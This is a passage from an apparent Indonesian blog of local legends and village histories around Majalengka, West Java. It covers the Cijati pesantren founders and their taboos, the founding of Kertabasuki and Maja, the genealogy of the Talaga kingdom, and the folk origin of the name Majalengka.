tidak senang mendengar bunyi gamelan yang biasa dibunyikan untuk menyemarakkan suasana keraton, dan melarang anak-cucunya membunyikannya. Siapa yang berani melanggarnya akan menanggung akibatnya.<br /><br />Pada suatu hari singgahlah di pondok Fatimah seorang pemuda yang sedang berkelana berasal dari daerah Tasik Malaya yang bernama Abdul Kodir putra Embah Abdul Muhyi Pamijahan. Melihat keelokan rupa Fatimah, tertariklah hati Abdul Kodir kepadanya. Demikian pula Fatimah terhadap pemuda yang bernama Abdul Kodir.<br />Terungkap sebuah cerita menarik dalam kisah perkenalan Abdul Kodir dengan Fatimah. Untuk saling menjajagi ketinggian ilmu diantara mereka, Abdul Kodir meminta bara api kepada Fatimah untuk mengisap rokoknya. Disodorkanlah oleh Fatimah bara api itu kepada Abdul Kodir. Bara api itu di letakkan pada selendangnya, namun selendang tersebut tidak terbakar. Melihat kejadian itu tercenganglah Abdul kodir, dan diapun jadi tahu bahwa Fatimah itu adalah seorang gadis yang tinggi ilmunya. Kemudian Abdul Kodir pun segera mengambil bara api itu dari selendang gadis itu dengan tangannya sendiri. Tampak Abdul Kodir tidak merasa panas sedikitpun dan tangannya tidak terluka kena bara api itu. Dengan demikian tahulah Fatimah bahwa pemuda itu memiliki kesaktian dan ilmu yang tinggi. Setelah saling mengetahui kesaktian diantara mereka, terjalinlah rasa saling mencintai diantara mereka. Dan akhirnya atas kesepakatan mereka dan kesepakatan orang tua kedua belah pihak, mereka menikah untuk membangun rumah tangga yang tentram.<br /><br />Setelah melangsungkan pernikahan, mereka mendirikan sebuah pesantren yang santri-santrinya berdatangan dari mana-mana. Dari pernikahan itu mereka dikaruniai dua orang puteri, yaitu :<br />1. Nyi Soiman, dipanggil demikian karena ditikah oleh seorang yang bersama Soiman putera Embah Salamudin dari Babakan Jawa.<br />2. Nyi Da’i<br />Dari Nyi Soiman itulah Embah Haji Siti Fatimah menurunkan anak cucunya yang menjadi inti penduduk Desa Cijati dan menjadi penerus perjuangannya dalam menyebarkan agama Islam melalui pendidikan Pondok Pesantren sampai sekarang.<br />Kesinambungan pesantren di Desa Cijati adalah berkat kesinambungan para pengasuhnya (para Kiayinya). Setelah Embah Abdul Kodir wafat di Tasikmalaya dan di makamkan di Desa Sukapancar kabupaten Tasikmalaya, pimpinan pondok pesatren di teruskan oleh menantunya yang bernama Kyai Soiman. Kemudian dilanjutkan oleh menantu Kiayi Soiman yang bernama Kyai Nurhisyam suami Nyi Ajid salah seorang puteri kyai Soiman. Beliau dari Situraja Sumedang datang ke Cijati untuk menuntut ilmu agama (mesantren) di Kyai Soiman yang kemudian dipungut menjadi menantunya. Setelah Embah Burhisyam wafat, pimpinan pesantren dilanjutkan oleh putranya yang bernama Kyai Irfa’i. Selanjutnya pengasuh pesantren disambung oleh Kyai Abdullah putera Kyai Irfa’i. Kyai Abdulloh wafat, pimpinan pesantren dilanjutkan oleh k.H. Muhammad Alwi suami Ibu Siti Hafsoh puteri Kyai Abdullah. Selanjutnya putera diasuh oleh putera K.H. Muhammad Alwi satu-satunya yang bernama K.H. Mahfudz. Kini pondok pesantren di Desa Cijati di kelola sekarang terkenal dengan sebagai desa santri (Pesantren).<br />Demikianlah perkembangan Cijati yang asalnya merupakan hutan lebat menjadi sebuah kampung dan kemudian menjadi sebuah desa yang kini berpenduduk sebanyak 5.000 jiwa. Cijati mulai ditetapkan menjadi desa pada zaman penjajahan Belanda, tepatnya pada tahun 1820 M. Kuwunya yang pertama bernama Embah Ngabeui Tirta Saestu. <br />III. Perkembangan Kehidupan Rakyat<br />Mengenai perkembangan kehidupan rakyat Desa Cijati dari masa ke masa tidak terdapat penonjolan-penonjolan yang menyolok tetapi tidak pula terlalu ketinggalan oleh desa-desa lain.<br /><br />a. Perkembangan Bidang Ekonomi<br />Mula-mula rakyat Cijati hidup dari pertanian. Setelah penduduknya makin berkembang, sedangkan tanah lahan pertanian relatif tidak bertambah, mulailah mereka mencari mata pencaharian lain seperti bidang kerajinan, mencelup pakaian dengan nila yang dibuat dari pohon tarum pada zaman penjajahn Belanda dan Jepang. Waktu itu pakaian adat dibuat sendiri yang dibuat dari sekat kapas yang juga ditanam sendiri. Bekerja sebagai penjahit pakaian, kadang-kadang langsung menjualnya ke pasar. Para pengusaha penjahit jadi sampai sekarang terus berkembang. Sayang para penjahit pakaian sekarang hampir punah karena harga pakaian jadi di pasaran lebih murah daripada buatan sendiri. Sekarang sudah banyak pula yang menyelenggarakan industri kecil di rumah-rumah seperti membuat kecap, tahu, rajinan dan lain-lain.<br /><br />b. Perkembangan Bidang Sosial<br />Dalam bidang sosial sejak dulu sudah terbina dengan baik, terutama dalam hal kegotong royongan, baik dalam peristiwa kematian, hajatan maupun membangun rumah. Tolong menolong antar sesama sangat rampak dengan tumbuhnya kelompok arisan, perkumpulan-kumpulan di tiapblok yang menyediakan alat keperluan untuk hajatan seperti piring, sendok, gelas, alat memasak, kursi, belandongan dan lain-lain.<br /><br />c. Perkembangan Bidang Kebudayaan <br />1. Bidang Pendidikan<br />Mengenai kemajuan bidang pendidikan agama sudah tidak diragukan lagi, karena berdirinya desa Cijati berpangkal dari berdirinya pondok pesantren yang merupakan lembaga pendidikan Islam dan terus berkesinambungan sampai sekarang. Pelajaran Agama disampaikan hampir di tiap langgar (tajug). Kini semakin berkembang lagi dengan telah berdirinya Madrasah Diniyah Awaliyah sejak sejak tahun 1964, disusul dengan berdirinya Yayasan Darul Falah pada tahun 1983 dan sekarang telah didirikan pula Madrasah Aliyah pada tahun 1987.<br />Dalam bidang pendidikan umum telah berdiri sekolah dasar 3 tahun sejak tahun 1913. sekarang telah berdiri tiga buah sekolah dasar Negeri 3 tahun yang dapat menampung semua anak usia sekolah. Pendidikan umum tingkat menegah pertama pun sudah ada, yaitu SLTPN 4 Majalengka dekat kampung Cijati. Begitu juga pendidikan umum tingkat atas telah berdiri yaitu SMU PGRI 1 Majalengka di Cijati.<br />2. Bidang Kesenian <br />Dalam bidang kesenian sejak dulu di desa Cijati belum ada yang menonjol, yang terkenal ke luar daerah.<br />3. Bidang Olah Raga <br />Olahraga yang paling disenangi masyarakat adalah sepak bola. Olahraga lain yang disenangi masyarakat adalah Volly ball, hampir di setiap blok ada lapangan Volly ball beserta klubnya.<br /><br />IV. Pantangan atau Tabu <br />Ada dua hal yang dianggap tabu (pantangan) yang masih di pegang teguh oleh sebagian besar penduduk Desa Cijati.<br /><br />1. Kesenian menggunakan alat-alat gamelan<br />Kesenian yang menggunakan alat-alat gamelan seperti wayang baik wayang kulit maupun wayang golek yang lengkap dengan nagayannya. Fatimah apabila mendengar suara gamelan hatinya merasa risih pedih serasa tersayat sembilu. Karena itulah beliau melarang anak cucunya menyelenggarakan hiburan yang menggunakan gamelan secara lengkap. Barang siapa yang berani melanggarnya dia harus menganggung akibatnya.<br /><br />2. Memiliki atau memelihara kuda yang berbulu hitam <br />Asal-usul penduduk Cijati dilarang memiliki atau memilihara kuda berwarna hitam adalah sebagai berikut :<br />konon kabarnya Embah Haji Siti Fatimah itu ketika mudanya memiliki rambut yang panjang, bila terurai akan sampai ke tanah. Bila beliau menyisir rambutnya setelah keramas, harus menggunakan gelah sebagai penyangganya agar tidak terurai ke tanah.<br />Pada suatu hari ketika Embah Haji Siti Fatimah sedang menyisir rambutnya, tiba-tiba kuda peliharaannya yang berwarna hitam keluar dari kandangnya dan berlari-lari kesana-kemari, hingga menabrak galah penahan rambutnya tersebut, sehingga rambutnya menjadi kusut sukar dibereskan lagi. Karena marahnya keluarlah ucapan sumpah dari mulutnya yang berbunyi :<br />“Sumpah tujuh turunan kepada anak cucu janganlah memelihara kuda yang berwarna hitam”.<br />Dua macam tebu diatas masih di pegang teguh oleh sebagian besar orang Cijati terutama keturunan Embah Haji. Yang berani melanggarnya biasanya ada saja diakibatkan jelek. Apakah hal itu menunjukkan bahwa tebu itu memang masih benar-benar angker ataukah hanya karena sugenti psykologis belaka? Wallahu a’lam, hanya Allah Yang Maha Mengetahui.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-36445792857164314882010-09-21T22:25:00.000+07:002010-09-21T22:26:45.758+07:00Asal Usul Sekitar Daerah Majalengka21. ASAL USUL KERTABASUKI<br /><br />A. Riwayat Desa Kertabasuki<br />Dimana bangsa Indonesia di jajah oleh bangsa Belenda yang pertama, para pejuang dari Banten banyak sekali yang dating melatikan diri dating ke Majalengka.<br />Konon kabarnya, pada waktu itu datanglah esorang pejuang dari Banten yang bernama K.H. Tubagus Bunyamin bersama Sultan Tubagus Zaenal Asyikin ( salah seorang keturunan Sultan Hasanudin yang ke-7 dan atau keturunan Nabi Muhamad SAW yang ke-35) datang kesalah satu tempat di daerah Majalengka tempat tersebut sekarang bernama desa Kawunggirang.<br /><br />K.H. Tubagus bunyanmin dating ke tempat tersebut selain menjauhkan diri dari incaran pemerintah Belanda, beliau juga bertujuan untuk menyebarkan agama Islam, yang pada waktu itu di tempat tersebut penghuninya masih kurang dalam melaksanakan syriat Islam.Dan supaya jangan sampai tertangkap oleh pemerintah Belanda, beliau bergati nama ngan julukan K.H Tubagus Kacung.<br /><br />K.H. Tubagus Kacung menikah dengan salah seorang putri Kiayi Sayun Falah seorang penghuni tempat tersebut sebagai hasil pernikahannya beliau di karuniai seorang anak yang di beri nama Tubagus Sholeh.<br /><br />Tubagus Sholeh setelah dewasa dan berumah tangga, kemudian beliau membuka pasantren di salah satu tempat sebelah barat desa Kawunggirang. Letak tempat desa (pasantren) yaitu sebelah barat desa Pasantren (sekarang wilayah desa Kertabasuki).Beliau mempunyai 3 orang putra putri, 2 orang putra di beri nama Munara dan Munari serta seorang putri yang di beri nama Munirah.<br /><br />Selain di buka pesantren di tempat tersebut, tempat yang tadinya sepi dan kurang maju berubah menjadi salah satu tempat subur makmur serta tempat tersebut harum namanya sampai terdengar ke daerah lain.<br /><br />Konon kabarnya, keharuman tempat tersebut terdengar oleh penghuni kota Cirebon. Salah satunya adalah K.H. Abu Bakar putra Den Nayu Kamiran, cucu Syarif Hidayatullah. Keduanya dating ke pesantren itun sambil membawa rupa-rupa dagangan. Beliau mempunyai magsud tujuan pokok yaitu ingin membantu usaha yang sedang dirintis oleh Tubagus Sholeh agar menjadi lebih pesat dan majunya agama Islam.<br />Lama kelamaan K.H. Abu Bakar dijadikan menantu oleh K.H Tubagus Sholeh dan di tikahkan dengan putri yang bungsu yang bernama Siti Munirah.<br /><br />Setelah K.H. Abu Bakar berumah tangga dengan Siti Tibagus Munirah, situasi tempat tersebut semakin ramai, maju, subur, makmur serta penghuninya selalu penuh terjamin kesehatannya. Di saat itulah K.H. Tubagus Sholeh mengatur, tata cara pemerintahan dan tatanan kehidupan seluruh penghuninya secara bijaksana. Dan akhirnya tempat tersebut di beri nama KARTABASUKI. Adapun arti dari Kartabasuki, yaitu :<br />-Karta :damai, maju, subur makmur<br />-Basuki :sehat wal afiat<br />-Kertabasuki :Desa yang damai serta maju dan subur makmur serta penghuninya terjain kesehatannya <br />Tetapi sekarang, desa kertabasuki lebih di kenal dengan sebutan Kertabasuki.<br />H.Abu bakar mempunyai 8 orang anak, 3 orana perempuan dan 5 orang anak laki-laki dengan urutan yaitu :<br />1. Jenab 5. Praja<br />2. Mujenah 6. Abdul Syukur <br />3. Biah 7. Sujana <br />4. Asral 8. Kalektor<br /><br />22. ASAL USUL SINGKAT KOTA MAJA <br /><br />Kira-kira abad ke XVI masehi, dikenal kuburan disebelah selatan kota Maja sekarang, telah berdiri sebuah pesantren bernama “PESANTREN DAHU PUGUR” yang berbentuk perkampungan kecil, yang terletak di dekat kali Cilongkrang.<br />Pesantren tersebut dipimpin oleh seorang ulama yang bernama Syekh Absul Jalil yang berasal dari Cirebon bersama dengan seorang temannya yang bernama Bapak Kelindur.<br />Syekh Abdul Jalil kemudian berganti nama dengan julukan “Dalem Sukahurang” . Pada beliau sedang bersama bapak Kelindurmembangun pesantren Dahu Pugur, beliau sangat perihatin karena banyak rintangan dan gangguan yang tidak diketahui siapa dan dari mana pengganggunya. Maka Dalem Sukahurang bertapa diatas pohon Dahu sehingga bagian atas pohon itu “patah” atau “pugur”. Itulah sebabnya pondok pesantren ini diberi nama “DAHU PUGUR”.<br /><br />Ditinjau dari segi geografis letak pesantren itu sangat strategis sekali karena di pinggir pesantren mengalir air Cilongkrangyang dikelilingi bukit-bukit yang subur dilereng Gunung Ciremai. Hal ini menjadikan penghuni pesantren menjadi betah karena bisa bercocok tanam sepanjang tahun.<br />Berkat kealiman Dalem Sukahurang dalam memimpin pesantren serta keuletan beliau, maka dalm waktu yang relatip singkat nama pesantren Dahu Pugur sudah terkenal diluar daerah Maja. Sehingga banyak orang orang dari luar daerah berdatangan untuk menuntut ilmu di pesantren tersebut, terutama dari daerah Talaga yang pada waktu itu Talaga baru masuk islam.<br /><br />Pada waktu itu Sunan Talagamanggung mendengar bahwa pesantren Dahu Pugur sangat termashur, maka untuk membuktikannya Sunan Talagamanggung memerintah seseorang putranya yang bernama RadenMahmud Ridwan.<br /><br />Raden Mahmud Ridwaan datang di Pesantren Dahu Pugur, disambut dengan baik oleh Dalem Sukahurang dan para santrinya. Sampai di pesantren Dahu Pugur, Raden Mahmud Ridwan mengadakan rundingan dengan pemimpin pesantren tersebut, untuk membentuk pemerintahan baru yang dipimping oleh Raden Mahmud Ridwan, dan para ponggawanya dari Talagamanggung. Waktu Rden Mahmud Ridwan menjadi pemimpin Dahu Pugur, Aji Sanghiang Rangkah mengadakan seranagan terhadap pesantren Dahu Pugur kemudian pesantren Dahu Pugur mengadakan perlawanan terhadap serangan dari Aji Sanghiang Rangkah tadi dengan senjatanya yang diberi nama Salam Nunggal.<br /><br />Sekarang pemimpin Dahu Pugur itu Raden Kiswan, Maka pada waktu itu dia dipilih secara aklamasi untuk dijadikan patih Dalem Sukahurang. Kemudian ia diberi gelar Raden Aria Patih Dalem Cucuk. Berkat kemenangan Raden Kiswan di Dewan Penasehat Pemerintah yang baru di Maja. Yang kemudian Dalem Sukahurang membuat susunan pemerintahan dan menyepakatinya, serta pemerintah yang baru itu duberi nama “MAJA JAYA” sebagai lambang kemenangan Dahu Pugur.<br /><br />Dalam perkembangan selanjutnya karena bertambahnya jumlah penduduk Deasa Maja, sesuai dengan roda perkembangan zaman dan peraturan pemerintahan pada waktu itu, maka sejak tahun 1981 Desa Maja dipecah menjadi dua Desa yaitu dengan Desa Maja Utara yang dipimpin oleh kepala desa Bapak Djalil ,Maja Selatan yang dipimpin oleh Kepala Desa Bapak Otong Rukmita. Padapemilihan Kepala desa Maja Utara yang pertama pada tahun 1984, terpilih yang menjadi Kepala Desanya yaitu Bapak ARUJI PRIATNA.<br /><br />23. ASAL USUL KOTA TALAGA<br /><br />Berdirinya Kerajaan Talagamanggung<br /><br />Nun jauh di lereng Gunung Ciremay sebelah selatan, di sekitar Desa Sangiang Kecamatan Talaga Kabupaten Majalengka, berdiri satu Negara yang disebut dengan Kerajaan Kerajaan Talaga. Yang pertama-tama mendirikan dan mengolah Negara tersebut yaitu Batara Gunung Picung, putera keenam Ratu Galuh Ajar Sukaresi atau disebut juga Maharaja Sakti Adimulya (1252 � 1287 M).<br /><br />Adapun Ratu Galuh Ajar Sukaresi sendiri mempunyai delapan putera/puteri dari isteri beliau yang berlain-lainan. Nama-nama mereka itu adalah:<br />1. Prabu Hariangbanga: Menurunkan para raja di daerah Jawa Timur, seperti Prabu Brawijaya II sampai Prabu Brawijaya V;<br />2. Maharajasakti: Menurunkan para raja di tanah Pajawan;<br />3. Prabu Ciungwanara (1287 � 1303 M): Menurunkan para raja di Pakuan dan Pajajaran;<br />4. Ratu Ragedangan;<br />5. Prabu Haurkuning, Maharaja Ciptapermana I (1580 � 1595 M);<br />6. Batara Gunung Picung (1595 � 1618); Menurunkan Raja-Raja Talaga;<br />7. Ratu Permana Dewa; dan<br />8. Bleg Tamblek Raja Kuningan.<br /><br />Adapun Batara Gunung Picung (Ciptaperman II) beliaulah yang menjadi Raja pertama di Talaga (Talagamanggung), dari beliau itu pula menurunkan:<br />1. Sunan Cungkilak;<br />2. Sunan Benda;<br />3. Sunan Gombang;<br />4. Ratu Ponggang Sang Romahiyang; dan<br />5. Prabu Darmasuci I.<br /><br />Prabu Darmasuci I<br />Prabu Darmasuci I mempunyai dua orang putera yang akan melanjutkan silsilah Kerajaan Talaga pada masa berikutnya, dua orang putera beliau itu adalah:<br />1. Bagawan Garasiang; dan<br />2. Prabu Darmasuci I (Prabu Talagamanggung).<br /><br />Bagawan Garasiang<br />Putera sulung Prabu Darmasuci I adalah Begawan Garasiang, beliau adalah orang yang gemar bertapa dan merenung sehingga beliau menjadi seorang Begawan Hindu Kahiyangan. Ia mendirikan padepokan di satu gunung kecil yang disebut Pasir Garasiang, terletak di daerah perbatasan antara Kecamatan Argapura dan Talaga sekarang. Beliau mempunyai puteri yang bernama Ratu Putri Mayangkaruna, yang kemudian diperistri oleh Prabu Mundingsari Ageung, putera Prabu Siliwangi II (Raden Pamanah Rasa)[2] dari Pajajaran.<br /><br />Kalau kita perhatikan, dengan adanya pernikahan Putri Talaga dan Putra Pajajaran, ini adalah hukum yang tidak tertulis akan tetapi menjadi ciri khas langkah strategis dan politis raja-raja Pasundan untuk mempertahankan keutuhan Negara dan ikatan kekeluargaan melaui jalan pernikahan di antara para penguasa wilayah Pasundan. Dengan memperhatikan asfek-asfek penting inilah sikap silih asih, silih asah, silih asuh akan terekat kuat.<br />Prabu Darmasuci II (Prabu Talagamanggung)<br />Prabu Darmasuci II (Prabu Talagamanggung) bersemayam di Talaga, keraton beliau terletak di Sangiang, dengan panorama situ keraton yang indah yang disebut Situ Sangiang. Menurut catur para sepuh Talagamanggung adalah seorang Narpati yang sakti mandraguna dan weduk (tidak tembus senjata). Beliau mempunyai sebuah senjata pusaka yang diberi nama CIS, bentuknya seperti tombak kecil atau sekin. Konon, bahwa beliau ketika lahir tidak memiliki pusar seperti halnya orang pada umumnya. Menurut ceritera pula Prabu Talagamanggung hanya mempan ditembus senjata oleh senjata CIS-nya itu.<br /><br />Pada masa pemerintahan Prabu Talagamanggung Kerajaan Talaga mengalami kemajuan yang gilang-gemilang dan kondisi sosial masyarakatnya semakian tentram dan mapan. Dengan demikian banyak orang yang berasal dari negara dan daerah lain ikut menetap di Talaga.<br /><br />Prabu Talagamanggung mempunyai seorang menantu yang berasal dari Bangsawan Palembang yang bernama Palembangunung (suami Putri Dewi Simbarkancana), pada suatu kesempatan Palembanggunung mengadakan gerakan bawah tanah untuk merebut kekuasaan dari mertuanya. Akhirnya Palembanggunung dengan komplotannya, melalui oleh seorang pengawal pribadi Sang Prabu, Centrangbarang (yang ditugaskan mengurus senjata) ia berhasil mencuri senjata CIS tersebut dan memberikannya kepada Palembanggunung yang kemudian digunakan untuk menusuk tubuh Sang Prabu. Dalam peristiwa itu Prabu Talagamanggung terluka dan kemudian tubuhnya menjadi lemas dan akhirnya meninggal. Jenazah beliau diurus sesuai ajaran Agama Hindu Kahiyangan, abu jenazahnya di larung di Situ Sangiang[3]. <br /><br />Pada masa hidupnya, Prabu Talagamanggung mempunyai satu orang putera dan satu orang puteri; Raden Panglurah dan Raden Dewi Simbarkancana. <br /><br />Raden Panglurah<br />Dari usia kecil ia sudah rajin melatih diri, berangkat ke Gunung Bitung[4], beliau bertapa di bekas bertapa uyut beliau, Ratu Ponggang Sang Romahiyang. Raden Panglurah[5] adalah seorang sosok putera penguasa (raja) yang memiliki sifat-sifat zuhud, meninggalkan kesenangan dunia) dan lebih memilih untuk mengolah jiwa dan mengembangkan asfek-asfek spiritual yang telah dikaruniakan Tuhan kepadanya. Dalam kata lain Radan Panglurah lebih memilih ketentraman dan kesenangan runani serta penghambaan kepada Tuhan Semesta alam.<br /><br />Raden Dewi Simbarkancana <br />Raden Dewi Simbarkancana walaupun seorang puteri beliau banyak memiliki sifat-sifat kepemimpinan yang diwarisi ayahanda beliau, Prabu Talagamanggung. Beliau menikah dengan Palembanggunung, Pepatih kerajaan. Pada mulanya Dewi Simbarkancana tidak mengetahui bahwa kematian ayahanda beliau itu didalangi suaminya sendiri, akan tetapi sabuni-bunina mungkus tarasi lambat laun kebusukan sang suami diketahui juga oleh beliau. Sepeninggal Prabu Talagamanggung, Kerajaan Talaga untuk sementara waktu dikuasai oleh Palembanggunung.<br /><br />Dewi Simbarkancana merasa sangat terpukul, beliau ceurik balilihan[6] (menangis dengan sangat menderita batin) karena dua hal: pertama, karena beliau dihianati oleh suami beliau sendiri; yang kedua, karena ditinggal oleh ayahanda tercinta dengan peristiwa yang memilukan. Menurut beliau, siapa orangnya yang tidak berduka hati ketika ditinggal sang ayah. Ayahanda beliau, sesorang yang sudah berbuat baik mengangkat derajat Palembanggunung dibalas dengan perilaku yang sangat keji. Air susu dibalas air tuba itulah yang terjadi. Akhirnya dengan keberanian beliau, Dewi Simbarkancana berhasil membunuh Palembanggunung dengan susuk kondenya.<br />Selanjutnya Raden Dewi Simbarkancana menikah dengan Raden Kusumalaya (Raden Palinggih) dari keraton Galuh, putera dari Prabu Ningrat Kancana. Beliau adalah seorang yang masagi pangarti (cakap lahir batin), seorang tabib dan ahli strategi. Beliau berhasil menumpas tuntas gerakan bawah tanah Palembanggunung dan komplotannya, dengan demikian kekuasaan dapat diambil kembali, keamanan dan ketertiban negara kembali menjadi stabil dan kokoh.<br /><br />Dari pernikahan Dewi Simbarkancana dengan Raden Kusumalaya membuahkan delapan orang putera, yaitu:<br />1. Sunan Parung (Batara Sukawayana);<br />2. Sunan Cihaur, (Mangkurat Mangkureja);<br />3. Sunan Gunung Bungbulang;<br />4. Sunan Cengal (Kerok Batok);[7]<br />5. Sunan Jero Kaso;<br />6. Sunan Kuntul Putih;<br />7. Sunan Ciburang; dan<br />8. Sunan Tegalcau.[8] <br /><br />Perpindahan Pertama Pusat Kerajaan (ke Walangsuji)<br />Menyusul kekacauan yang menimpa keraton Sangiang, yakni dengan adanya rajapati terhadap Prabu Talagamanggung dan pemberontakan yang didalangi sang menantu durhaka, hal ini mendorong Ratu Simbarkancana untuk memindahkan pusat kerajaan dari tutugan Gunung Ciremay ke Walangsuji, di Desa Kagok, Kemantren Banjaran, Kecamatan Talaga sekarang.<br /><br />Pusat pemerintahan di Walangsuji nampaknya tidak begitu lama, boleh dikatakan hanya selama ngulub waluh. yakni pusat kerajaan hanya bertahan di Walangsuji selama tujuh tahun tiga bulan[9]. Setelah Penguasa Talaga memandang dari berbagai segi akhirnya diputuskanlah bahwa Walangsuji kurang strategis untuk tetap dijadikan pusat pemerintahan Kerajaan Talaga sehingga pusat karajaan harus segera dipindahkan kembali. <br /><br />Perpindahan KEDUA Pusat Kerajaan (ke Parung)<br /><br />Sepeninggal Ratu Simbarkancana, Kerajaan Talaga dipegang oleh putera sulung beliau yang mendapat julukan Sunan Parung (1450 M). Setelah Sunan Parung mangkat, pemerintahan diserahkan kepada satu-satunya puteri beliau yang bernama Ratu Dewi Sunyalarang (1500 M) yang di kemudian hari mendapat julukan Ratu Parung.<br /><br />Dewi Sunyalarang (Ratu Parung) menikah dengan Raden Ragamantri, putera Prabu Mundingsari Ageung dari Ratu Mayangkaruna. Raden Ragamantri adalah cucu dari Begawan Garasiang dan juga cucu dari Prabu Siliwangi II (Jaya Dewata atau Pamanah Rasa). Pada masa pemerintahan Dewi Sunyalarang inilah pusat kerajaan dipindahkan ke Parung. (Bersambung ke: Sejarah Ringkas Kerajaan Talaga Setelah Masuknya Islam) <br />[1] Letak kuburan Raden Raga Mantri, cucu Bagawan Garasiang dan Raden Pamanah Rasa terletak di luar bangunan yang biasa dipakai tahlilan para penziarah, di bawah pohon besar dengan tiga buah batu biasa sebagai batu nisannya, sesuai pesan spiritual beliau. Peletakan batu nisan penulis lakukan dibantu oleh kuncen situs, Bapak H. Emod dan sahabat penulis Suharto.<br /><br />[2] Kata Siliwangi berasal dari kata Silih yang berarti pengganti atau penerus dan Wangi yang berarti wangi atau harum. Dengan demikian, makna dari nama Prabu Siliwangi mempunyai pengertian bahwa beliau adalah Pengganti atau Penerus Prabu Wangi (Wangisutah) yang gugur di alun-alun Bubat Majapahit (sekarang terletak di Kec.Trowulan Kab.Mojokerto) pada tahun 1357 M dalam mempertahankan kehormatan dan wibawa Kerajaan Pajajaran. Ketika itu, rombongan dari Pajajaran bermaksud untuk mengawinkan puteri beliau Putri Diyah Pitaloka dengan Raja Hayam Wuruk atas pinangan Sang Raja. Ketika itu rombongan calon penganten perempuan berhenti dan membuat pasangrahan di alun-alun Bubat sambil menunggu jemputan Raja Hayam Wuruk (calon penganten laki-laki). Rupanya niat mulia Prabu Wangi (Wangisutah) dan Raja Hayam Wuruk tidak dikehendaki oleh Patih Gajah Mada, ia mengadakan "gerakan rahasia" yang tidak diketahui oleh rajanya sendiri. Gajah Mada dengan pasukannya yang sangat besar mengepung dan menyerbu rombongan calon pengantin perempuan sehingga menyebabkan gugurnya Sang Mokteng Bubat (Prabu Wangi), Putri Diyah Pitaloka dan para pengawalnya. Adapun sebutan Prabu Siliwangi I adalah Prabu Wastu Kencana yang memindahkan pusat Kerajaan Pajajaran dari Kawali (Ciamis) ke Pakuan (Bogor). Pada masa pemerintahan Prabu Wangi, Prabu Siliwangi I dan Prabu Siliwangi II Kerajaan Pajajaran dibawah satu kekuasaan atau dalam kata lain Pasundan Timur dan Pasundan Barat bersatu di bawah satu Raja. Pasca Rahiyang Wastu Kencana, Kerajaan Pasundan terbagi dua; yakni Kerajaan Pajajaran yang berpusat di Ciamis dibawah kekuasaan Ningrat Kancana dan Kerajaan Pakuan yang berpusat di Bogor di bawah kekuasaan Prabu Susuktunggal. Pada masa Prabu Siliwangi II itulah Pasundan bersatu lagi menjadi Pakuan Pajajaran yang berpusat di Bogor.<br /><br />[3] Menurut Babad Talaga, setelah peristiwa pembunuhan itu Prabu Talagamanggung beserta keratonnya ngahiyang (menghilang) dan menjadi Situ Sangiang sekarang. Menurut penulis sendiri, arti "ngahyiang" itu tidak lain melainkan Inna lillahi rājiūn wa inna ilahi rājiūn dalam arti Kembali Ke Sang Hiyang (Tuhan) dan bukan tilem.<br /><br />[4] Gunung Bitung tepatnya sebelah selatan Talaga, Desa Wangkelang, Kecamatan Cikijing, Kabupaten Majelangka. Tempat pertapaan Raden Panglurah sampai sekarang sering diziarahi orang.<br /><br />[5] Penulis merasa prihatin karena Patung Raden Panglurah hingga sekarang masih berada di negeri Belanda, adapaun patung adik beliau Bunda Raden Dewi Simbarkancana masih ada dan terawat baik di Talaga.<br /><br />[6] Istilah ceurik balilihan dan makna beberapa kata berikutnya adalah dari Bunda Dewi Simbarkancana sendiri, diberitahukan beliau kepada penulis secara spriritual pada tanggal 28 Januari 2008, kira-kira pukul 20.45 WIB.<br />[7] Petilasannya masih terdapat di Desa Cengal, kira-kira 1 km Kampung Cadas, Desa Anggrawati, Kecamatan Maja-Majalengka. <br /><br />[8] Petilasannya terdapat di Blok Galumpit (Tegal Cawet) Desa Tegalsari-Maja.<br /><br />[9] Angka 7 tahun 3 bulan ini berdasarkan keterangan Bunda Ratu Simbarkancana, pada tanggal 27 Januari 2008 yang disampaikan secara spiritual kepada penulis.<br /><br />24. LAHIRNYA MAJALENGKA DAN MISTIK NYAI RAMBUT KASIH<br /><br />Siapa yang tak kenal raja pajajaran ini? Dilah sosok yang adil dan bijaksana, juga sakti mandraguna, raja yang paling disegani di tanah jawa, khususnya di tatar Pasunda. Siapakah dia? Dialah Sri Braduga Prabu Siliwangi.<br /><br />Prabu Siliwangi mempunyai isteri yang ketiga, namanya Ibu Ratu Munding Kalalean. Dari hasil perkawinan mereka dianugrahi tiga orang putra dan satu orang putri, yaitu : 1. Walang Sungsang, 2. RaraSantang, 3. KianSantang, 4. Syeh Nurjati. Putra nomor empat yaitu Syeh Nurjati memperistri Ibu Ratu Siti Maningrat. Dari hasil buah perkawinannya dikaruniai dua orang putra dan satu orang putrid, yaitu : 1.Dalem Rangga Wulan Jaya Hadi Kusuma, 2.Permana Sakti Jaya Hadi Kusuma, 3.Sri Ratu Purbaningsih.<br /><br />Abad ke 14 atau tahun 1405 Masehi, Syeh Nurjati memanggil semua anaknya untuk memberikan tugas. “Kalian semua harus mempunyai dan membuat sejarah (riwayat) agar kelak kemudian hari cikal bakal serta generasi penerus akan mengenang kalian bertiga. Sekarang juga kalian harus berangkat kearah barat sebelah utara gunung ciremai. Carilah oleh kalian pohon maja kalau sudah ditemukan kalian bertiga membuka dan membuat satu daerah kekuasaan disana.” Demikianlah sabda Syeh Nurjati.<br />Sesuai menerima tugas dari ayahandanya, seketika itu juga anak itu terus berangkat membawa dua orang masih banyak pekerjaan yang harus dituntaskan. Kendati dilarang, Sri Ratu Purbaningsih tetap memaksa pergi ke Cirebon tanpa sepengetahuan kakaknya dengan jalan terbang melesat keatas langit. Namun, karena tidak mendapatkan ijin dari kakaknya Sri Ratu jatuh di Curungan (sekarang CiCurug). Selanjutnya kedua kakaknya menyusul guna mencari Sri Ratu. Mereka rupanya takut terjadi apa-apa yang akan menimpa adiknya. Kira-kira jam 10 pagi mereka tiba ditempat (Cicurug) Dalem Rangga bertanya kepada adikya Dalem Permana,”Bagaimana Permana, apakah ketemu adikku ?”<br /><br />Dalem Permana pun menjawab,”langkah Kang (Tidak ada, Kak)!”<br />Dari dialog tersebut diambil satu kesimpulan bahwa kata “Majalengka” berasal dari pohon maja yang diketemukan didaerah Maja, dan langka diambil dari jawaban Dalem Permana saat mencari adiknya Sri Ratu Purbaningsih. Dari kedua kata tersebut mka lahirlah kata Majalengka, yang akhirnya berubah karena pelafaln lidah masyarakat Pasundan menjadi Majalengka.<br />Sekitar pukul 12 siang Sri Ratu Purbaningsih mengetahui dirinya tengah dicari oleh kedua 